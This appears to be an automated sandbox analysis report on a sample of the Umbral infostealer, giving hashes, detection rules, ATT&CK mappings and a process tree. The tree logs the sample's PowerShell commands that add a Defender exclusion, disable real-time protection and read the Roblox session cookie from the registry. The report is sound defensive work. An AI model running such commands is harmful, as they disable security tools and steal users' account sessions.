umbral | 591d6a1ba6daad5d9c8d276cf833047bb67913d42f09c871a3156bb46ac1d2aa

Analysis

max time kernel
70s
max time network
10s
platform
windows11-21h2_x64
resource
win11-20231215-en
resource tags

arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
submitted
12-02-2024 00:41

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General

Target

NostalgiaPaste.exe
Size

614KB
MD5

863ccaa8f5615fd603e3df9e08d433c6
SHA1

58e5ac27b4c8ce04b705fbd4fc267c7c96ae8438
SHA256

b502a581b8b5f291508791631fbd40853edc952572eaa214086f6a91694a284a
SHA512

715dccca665ffc88da761fc2ae0a9a01a477c3546b86fc0922ca033b4826f44b42c2c718b1adec2c26e9736e3e81c144ef5f5161706daa3acbabe8b0f952a906
SSDEEP

12288:3l/5a8Yv+Gk+IRvmf8lDATKwRP7NaaWSxpumTFzoLIOnrDjfBlfrkfVNaw9mmrz6:3P9rGbIRuf8lkRP7NaLGNoLbjfBl4NN7

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral4/memory/5004-9-0x0000000007720000-0x000000000775E000-memory.dmp	family_umbral
behavioral4/files/0x000300000002a791-14.dat	family_umbral
behavioral4/memory/4732-21-0x000001978ABF0000-0x000001978AC30000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Executes dropped EXE 1 IoCs

pid	Process
4732	nostalgia_authentication.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
5	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3480	wmic.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
3612	powershell.exe
5004	NostalgiaPaste.exe
3612	powershell.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
2872	powershell.exe
2872	powershell.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
4296	powershell.exe
5004	NostalgiaPaste.exe
4296	powershell.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
3144	powershell.exe
5004	NostalgiaPaste.exe
3144	powershell.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5012	powershell.exe
5012	powershell.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe
5004	NostalgiaPaste.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	NostalgiaPaste.exe
Token: SeDebugPrivilege	4732	nostalgia_authentication.exe
Token: SeDebugPrivilege	3612	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeIncreaseQuotaPrivilege	804	wmic.exe
Token: SeSecurityPrivilege	804	wmic.exe
Token: SeTakeOwnershipPrivilege	804	wmic.exe
Token: SeLoadDriverPrivilege	804	wmic.exe
Token: SeSystemProfilePrivilege	804	wmic.exe
Token: SeSystemtimePrivilege	804	wmic.exe
Token: SeProfSingleProcessPrivilege	804	wmic.exe
Token: SeIncBasePriorityPrivilege	804	wmic.exe
Token: SeCreatePagefilePrivilege	804	wmic.exe
Token: SeBackupPrivilege	804	wmic.exe
Token: SeRestorePrivilege	804	wmic.exe
Token: SeShutdownPrivilege	804	wmic.exe
Token: SeDebugPrivilege	804	wmic.exe
Token: SeSystemEnvironmentPrivilege	804	wmic.exe
Token: SeRemoteShutdownPrivilege	804	wmic.exe
Token: SeUndockPrivilege	804	wmic.exe
Token: SeManageVolumePrivilege	804	wmic.exe
Token: 33	804	wmic.exe
Token: 34	804	wmic.exe
Token: 35	804	wmic.exe
Token: 36	804	wmic.exe
Token: SeIncreaseQuotaPrivilege	804	wmic.exe
Token: SeSecurityPrivilege	804	wmic.exe
Token: SeTakeOwnershipPrivilege	804	wmic.exe
Token: SeLoadDriverPrivilege	804	wmic.exe
Token: SeSystemProfilePrivilege	804	wmic.exe
Token: SeSystemtimePrivilege	804	wmic.exe
Token: SeProfSingleProcessPrivilege	804	wmic.exe
Token: SeIncBasePriorityPrivilege	804	wmic.exe
Token: SeCreatePagefilePrivilege	804	wmic.exe
Token: SeBackupPrivilege	804	wmic.exe
Token: SeRestorePrivilege	804	wmic.exe
Token: SeShutdownPrivilege	804	wmic.exe
Token: SeDebugPrivilege	804	wmic.exe
Token: SeSystemEnvironmentPrivilege	804	wmic.exe
Token: SeRemoteShutdownPrivilege	804	wmic.exe
Token: SeUndockPrivilege	804	wmic.exe
Token: SeManageVolumePrivilege	804	wmic.exe
Token: 33	804	wmic.exe
Token: 34	804	wmic.exe
Token: 35	804	wmic.exe
Token: 36	804	wmic.exe
Token: SeIncreaseQuotaPrivilege	1300	wmic.exe
Token: SeSecurityPrivilege	1300	wmic.exe
Token: SeTakeOwnershipPrivilege	1300	wmic.exe
Token: SeLoadDriverPrivilege	1300	wmic.exe
Token: SeSystemProfilePrivilege	1300	wmic.exe
Token: SeSystemtimePrivilege	1300	wmic.exe
Token: SeProfSingleProcessPrivilege	1300	wmic.exe
Token: SeIncBasePriorityPrivilege	1300	wmic.exe
Token: SeCreatePagefilePrivilege	1300	wmic.exe
Token: SeBackupPrivilege	1300	wmic.exe
Token: SeRestorePrivilege	1300	wmic.exe
Token: SeShutdownPrivilege	1300	wmic.exe
Token: SeDebugPrivilege	1300	wmic.exe
Token: SeSystemEnvironmentPrivilege	1300	wmic.exe
Token: SeRemoteShutdownPrivilege	1300	wmic.exe
Token: SeUndockPrivilege	1300	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 4732	5004	NostalgiaPaste.exe	76
PID 5004 wrote to memory of 4732	5004	NostalgiaPaste.exe	76
PID 4732 wrote to memory of 3612	4732	nostalgia_authentication.exe	77
PID 4732 wrote to memory of 3612	4732	nostalgia_authentication.exe	77
PID 4732 wrote to memory of 2872	4732	nostalgia_authentication.exe	79
PID 4732 wrote to memory of 2872	4732	nostalgia_authentication.exe	79
PID 4732 wrote to memory of 4296	4732	nostalgia_authentication.exe	81
PID 4732 wrote to memory of 4296	4732	nostalgia_authentication.exe	81
PID 4732 wrote to memory of 3144	4732	nostalgia_authentication.exe	84
PID 4732 wrote to memory of 3144	4732	nostalgia_authentication.exe	84
PID 4732 wrote to memory of 804	4732	nostalgia_authentication.exe	86
PID 4732 wrote to memory of 804	4732	nostalgia_authentication.exe	86
PID 4732 wrote to memory of 1300	4732	nostalgia_authentication.exe	89
PID 4732 wrote to memory of 1300	4732	nostalgia_authentication.exe	89
PID 4732 wrote to memory of 3192	4732	nostalgia_authentication.exe	91
PID 4732 wrote to memory of 3192	4732	nostalgia_authentication.exe	91
PID 4732 wrote to memory of 5012	4732	nostalgia_authentication.exe	93
PID 4732 wrote to memory of 5012	4732	nostalgia_authentication.exe	93
PID 4732 wrote to memory of 3480	4732	nostalgia_authentication.exe	95
PID 4732 wrote to memory of 3480	4732	nostalgia_authentication.exe	95

C:\Users\Admin\AppData\Local\Temp\NostalgiaPaste.exe
"C:\Users\Admin\AppData\Local\Temp\NostalgiaPaste.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Users\Admin\AppData\Local\Temp\nostalgia_authentication.exe
  "C:\Users\Admin\AppData\Local\Temp\nostalgia_authentication.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nostalgia_authentication.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3144
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:804
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1300
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5012
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:3480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6954f218ba4c7d0fe9cbf31e88fe3a69

SHA1
f6f26b65a7892fdcd1372dedbbb1a7fdd2b1db88

SHA256
b33cf6e9bb2ceccfb71165bcb40fa340fde43da503d3a4443d03aeddf28832e4

SHA512
e7f2aec7ef1cb35c37c8fd0d3d012a66c8aaaefc92c7975fb5597760730c9909dac76961aea6b19844863e90f992b9936efd6cf519fbc971668a86f34c1d0744

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d0a4a3b9a52b8fe3b019f6cd0ef3dad6

SHA1
fed70ce7834c3b97edbd078eccda1e5effa527cd

SHA256
21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

SHA512
1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
fa21dd50b4e64421076f843031c8ccf7

SHA1
2c56e94f130c0d8d77116e939ffee4e37cf982bd

SHA256
e4f21aca1e12aafa8de7af24b79a75526e902c7d4b3fea5bdb6e723976997be3

SHA512
b8de2bfeb7af06c587dd1f424d410cf83471f31a55a3ea4c4481ce07ffd9bf66ddc1f7775ecd6ac65ac33baaec90ba5a208a9aefc84f31125a50dfb919982687

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p34ievhm.qb0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nostalgia_authentication.exe

Filesize
229KB

MD5
9807cd8bd9f25a62782f5ef42ef82432

SHA1
942ca4582b457f0f3768e02a3422e2646ec774e7

SHA256
9072ab80200c13dd896e67257dd9fa4f8795bbca69513d1529fa782c54ffb13d

SHA512
dd51a1d295778593c40ef27d8319ef04a0b02ee0b7a68c599aea83846d17d1db1f445ec63890639d3e9da649aac7613aa296f3e50be0a41c28683136e59ba1c3

Download Submit
memory/2872-54-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/2872-50-0x0000024679AA0000-0x0000024679AB0000-memory.dmp

Filesize
64KB

Download
memory/2872-49-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/3144-87-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/3144-96-0x000002089C0E0000-0x000002089C0F0000-memory.dmp

Filesize
64KB

Download
memory/3144-98-0x000002089C0E0000-0x000002089C0F0000-memory.dmp

Filesize
64KB

Download
memory/3144-100-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/3612-38-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/3612-25-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/3612-24-0x000001D7CA050000-0x000001D7CA072000-memory.dmp

Filesize
136KB

Download
memory/3612-26-0x000001D7B1AA0000-0x000001D7B1AB0000-memory.dmp

Filesize
64KB

Download
memory/3612-35-0x000001D7B1AA0000-0x000001D7B1AB0000-memory.dmp

Filesize
64KB

Download
memory/4296-85-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/4296-83-0x0000019666240000-0x0000019666250000-memory.dmp

Filesize
64KB

Download
memory/4296-60-0x0000019666240000-0x0000019666250000-memory.dmp

Filesize
64KB

Download
memory/4296-61-0x0000019666240000-0x0000019666250000-memory.dmp

Filesize
64KB

Download
memory/4296-59-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/4732-53-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/4732-103-0x00000197A53A0000-0x00000197A53B2000-memory.dmp

Filesize
72KB

Download
memory/4732-102-0x00000197A5350000-0x00000197A535A000-memory.dmp

Filesize
40KB

Download
memory/4732-55-0x00000197A53C0000-0x00000197A5436000-memory.dmp

Filesize
472KB

Download
memory/4732-56-0x00000197A5440000-0x00000197A5490000-memory.dmp

Filesize
320KB

Download
memory/4732-57-0x00000197A5360000-0x00000197A537E000-memory.dmp

Filesize
120KB

Download
memory/4732-86-0x000001978C860000-0x000001978C870000-memory.dmp

Filesize
64KB

Download
memory/4732-123-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/4732-21-0x000001978ABF0000-0x000001978AC30000-memory.dmp

Filesize
256KB

Download
memory/4732-22-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/4732-23-0x000001978C860000-0x000001978C870000-memory.dmp

Filesize
64KB

Download
memory/5004-7-0x0000000005D90000-0x0000000005D9A000-memory.dmp

Filesize
40KB

Download
memory/5004-2-0x0000000002F20000-0x0000000002F21000-memory.dmp

Filesize
4KB

Download
memory/5004-58-0x0000000005780000-0x0000000005790000-memory.dmp

Filesize
64KB

Download
memory/5004-6-0x0000000005A50000-0x0000000005A6C000-memory.dmp

Filesize
112KB

Download
memory/5004-5-0x0000000005AF0000-0x0000000005B82000-memory.dmp

Filesize
584KB

Download
memory/5004-4-0x0000000005FC0000-0x0000000006566000-memory.dmp

Filesize
5.6MB

Download
memory/5004-3-0x0000000005780000-0x0000000005790000-memory.dmp

Filesize
64KB

Download
memory/5004-0-0x0000000000B00000-0x0000000000C50000-memory.dmp

Filesize
1.3MB

Download
memory/5004-8-0x0000000005780000-0x0000000005790000-memory.dmp

Filesize
64KB

Download
memory/5004-51-0x00000000745F0000-0x0000000074DA1000-memory.dmp

Filesize
7.7MB

Download
memory/5004-9-0x0000000007720000-0x000000000775E000-memory.dmp

Filesize
248KB

Download
memory/5004-1-0x00000000745F0000-0x0000000074DA1000-memory.dmp

Filesize
7.7MB

Download
memory/5012-114-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/5012-118-0x00007FFFBCED0000-0x00007FFFBD992000-memory.dmp

Filesize
10.8MB

Download
memory/5012-115-0x00000184F1F60000-0x00000184F1F70000-memory.dmp

Filesize
64KB

Download